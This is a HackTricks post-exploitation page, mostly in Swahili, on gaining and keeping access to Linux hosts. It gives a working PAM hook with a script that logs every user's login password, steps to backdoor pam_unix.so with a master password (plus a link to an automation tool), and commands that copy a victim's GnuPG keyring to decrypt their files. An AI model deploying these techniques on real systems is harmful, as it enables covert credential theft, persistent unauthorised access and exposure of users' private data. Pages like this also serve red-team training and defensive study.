Linux Post-Exploitation
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Sniffing Logon Passwords with PAM
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
PAM - Pluggable Authentication Modules
Kwa maelezo zaidi angalia chapisho la asili. Hii ni muhtasari tu:
Muhtasari wa Mbinu: Pluggable Authentication Modules (PAM) zinatoa unyumbufu katika kusimamia uthibitishaji kwenye mifumo inayotegemea Unix. Zinaweza kuboresha usalama kwa kubadilisha mchakato wa kuingia, lakini pia zinaweza kuleta hatari ikiwa zitatumika vibaya. Muhtasari huu unaelezea mbinu ya kukamata cheti za kuingia kwa kutumia PAM, pamoja na mikakati ya kupunguza hatari.
Kukamata cheti za kuingia:
- Skripti ya bash iitwayo
toomanysecrets.sh
imeandaliwa ili kurekodi jaribio za kuingia, ikikusanya tarehe, jina la mtumiaji ($PAM_USER
), nenosiri (kupitia stdin), na anwani ya IP ya mwenyeji wa mbali ($PAM_RHOST
) katika/var/log/toomanysecrets.log
. - Skripti hiyo inafanywa iwe executable na kuingizwa kwenye usanidi wa PAM (
common-auth
) kwa kutumia modulipam_exec.so
na chaguo za kuendesha kwa kimya na kumfichulia skripti tokeni ya uthibitishaji. - Njia hii inaonyesha jinsi mwenyeji wa Linux aliyevunjwa usalama anaweza kutumika kurekodi cheti za kuingia kwa siri.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Kwa maelezo zaidi angalia original post. Hii ni muhtasari tu:
Pluggable Authentication Module (PAM) ni mfumo unaotumika kwenye Linux kwa uthibitishaji wa watumiaji. Inafanya kazi kwa msingi wa dhana tatu kuu: username, password, na service. Faili za usanidi za kila service ziko kwenye saraka ya /etc/pam.d/
, ambapo maktaba zilizoshirikiwa (shared libraries) zinashughulikia uthibitishaji.
Lengo: Badilisha PAM ili kuruhusu uthibitishaji kwa password maalum, ukiepuka password halisi ya mtumiaji. Hii inalenga hasa maktaba ya shared pam_unix.so
inayotumiwa na faili ya common-auth
, ambayo imejumuishwa na karibu kila service kwa uhakiki wa password.
Steps for Modifying pam_unix.so
:
- Pata Directive ya Uthibitishaji katika faili ya
common-auth
:
- Mstari unaohusika na kuangalia password ya mtumiaji unaita
pam_unix.so
.
- Badilisha Source Code:
- Ongeza kauli ya masharti (conditional) katika faili ya chanzo
pam_unix_auth.c
ambayo inatoa ruhusa ikiwa password iliyowekwa mapema imetumika, vinginevyo inaendelea na mchakato wa uthibitishaji wa kawaida.
- Recompile and Replace maktaba iliyorekebishwa
pam_unix.so
katika saraka inayofaa. - Kupima:
- Ruhusa inatolewa katika huduma mbalimbali (login, ssh, sudo, su, screensaver) kwa password iliyotangazwa, wakati michakato ya kawaida ya uthibitishaji haijathiriwa.
tip
Unaweza kuendesha kiotomatiki mchakato huu na https://github.com/zephrax/linux-pam-backdoor
Kudekripti faili za GPG kwa kuhamisha homedir
Ikiwa unatambua faili iliyofichwa .gpg
na saraka ya mtumiaji ~/.gnupg
(pubring, private-keys, trustdb) lakini huwezi kudekripti kutokana na ruhusa/mifungo ya homedir ya GnuPG, nakili keyring hadi mahali pa kuandikika na uitumie kama GPG home yako.
Marejesho ya kawaida utakayoyaona bila hii: "unsafe ownership on homedir", "failed to create temporary file", au "decryption failed: No secret key" (kwa sababu GPG haiwezi kusoma/kuandika homedir ya asili).
Mtiririko wa kazi:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Iwapo nyenzo za siri za ufunguo zipo katika private-keys-v1.d
, GPG itafungua na ku-decrypt bila kuomba passphrase (au itaomba ikiwa ufunguo umehifadhiwa kwa ulinzi).
References
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.